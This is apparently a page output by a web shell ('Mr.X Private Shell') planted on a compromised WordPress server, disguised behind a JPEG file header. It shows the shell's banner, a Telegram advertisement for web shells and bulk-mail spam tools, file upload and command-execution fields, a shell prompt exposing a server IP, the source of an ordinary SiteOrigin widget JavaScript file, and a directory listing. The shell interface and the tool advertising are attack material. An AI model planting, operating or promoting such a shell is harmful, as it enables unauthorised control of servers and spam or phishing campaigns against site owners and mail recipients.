����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/* global jQuery, sowbForms */

(function ( $ ) {
	$( document ).on( 'sowsetupformfield', '.siteorigin-widget-field-type-presets', function ( e ) {
		
		var $presetSelect = $( this ).find( 'select[class="siteorigin-widget-input"]' );
		if ( $presetSelect.data( 'initialized' ) ) {
			return;
		}
		
		var $undoLink = $presetSelect.find( '+ .sowb-presets-field-undo' );
		$undoLink.hide();

		var onLoadTrigger = false;
		var addingDefault = false;
		var presets = $presetSelect.data( 'presets' );
		$presetSelect.on( 'change', function() {
			var selectedPreset = $presetSelect.val();
			if ( selectedPreset && presets.hasOwnProperty( selectedPreset ) ) {
				var presetValues = presets[ selectedPreset ].values;
				var $formContainer = $presetSelect.closest( '.siteorigin-widget-form-main' );

				// If we're adding defaults, don't show undo.
				if ( addingDefault || ! onLoadTrigger) {
					var previousValues = $presetSelect.data( 'previousValues' );
					if ( ! addingDefault ) {
						if ( ! previousValues ) {
							var presetClone = JSON.parse( JSON.stringify( presetValues ) );
							var widgetData = sowbForms.getWidgetFormValues( $formContainer );
							var recurseDepth = 0;
							var copyValues = function( from, to ) {
								if ( ++recurseDepth > 10 ) {
									return to;
								}
								for ( var key in to ) {
									if ( from.hasOwnProperty( key ) ) {
										var fromItem = from[ key ];
										var toItem = to[ key ];
										if ( fromItem !== null && toItem !== null && typeof fromItem === 'object' ) {
											copyValues( fromItem, toItem );
										} else {
											to[ key ] = fromItem;
										}
									}
								}
								return to;
							};
							// Copy existing widget values for preset properties to allow for undo.
							previousValues = copyValues( widgetData, presetClone );
							$presetSelect.data( 'previousValues', previousValues );
						}
						if ( $undoLink.not( ':visible' ) ) {
							$undoLink.show();
							$undoLink.on( 'click', function ( event ) {
								event.preventDefault();
								$undoLink.hide();
								sowbForms.setWidgetFormValues( $formContainer, previousValues, false, 'preset' );
								$presetSelect.removeData( 'previousValues' );
								$presetSelect.val( '' );
							} );
						}
					} else {
						addingDefault = false;
					}
					sowbForms.setWidgetFormValues( $formContainer, presetValues, false, 'preset' );
				}
				onLoadTrigger = false;
			}
		} );

		if ( $presetSelect.data( 'default-preset' ) != undefined ) {
			// If no value is selected, and there's a default-preset set, load it.
			if ( $presetSelect.val() == 'default' ) {
				addingDefault = true;
				$presetSelect.val( $presetSelect.data( 'default-preset' ) );
			}
			// There's a default preset set, remove the empty default.
			$( this ).find( 'select[class="siteorigin-widget-input"] option[value="default"]' ).remove();
		}
		onLoadTrigger = true;
		$presetSelect.trigger( 'change' );

		$presetSelect.data( 'initialized', true );
	} );
})( jQuery );

Filemanager

Name Type Size Permission Actions
autocomplete-field.js File 3.58 KB 0644
autocomplete-field.min.js File 1.79 KB 0644
code-field.js File 17.88 KB 0644
code-field.min.js File 7.98 KB 0644
date-range-field.js File 3.74 KB 0644
date-range-field.min.js File 1.79 KB 0644
icon-field.js File 6.67 KB 0644
icon-field.min.js File 3.45 KB 0644
image-radio-field.js File 543 B 0644
image-radio-field.min.js File 429 B 0644
image-size-field.js File 482 B 0644
image-size-field.min.js File 296 B 0644
media-field.js File 12.72 KB 0644
media-field.min.js File 6.66 KB 0644
multi-measurement-field.js File 2.14 KB 0644
multi-measurement-field.min.js File 1008 B 0644
multiple-media-field.js File 4.73 KB 0644
multiple-media-field.min.js File 2.24 KB 0644
order-field.js File 1014 B 0644
order-field.min.js File 595 B 0644
posts-field.js File 754 B 0644
posts-field.min.js File 410 B 0644
presets-field.js File 2.96 KB 0644
presets-field.min.js File 1.18 KB 0644
tinymce-field-pre48.js File 4.71 KB 0644
tinymce-field-pre48.min.js File 2.56 KB 0644
tinymce-field.js File 5.61 KB 0644
tinymce-field.min.js File 2.98 KB 0644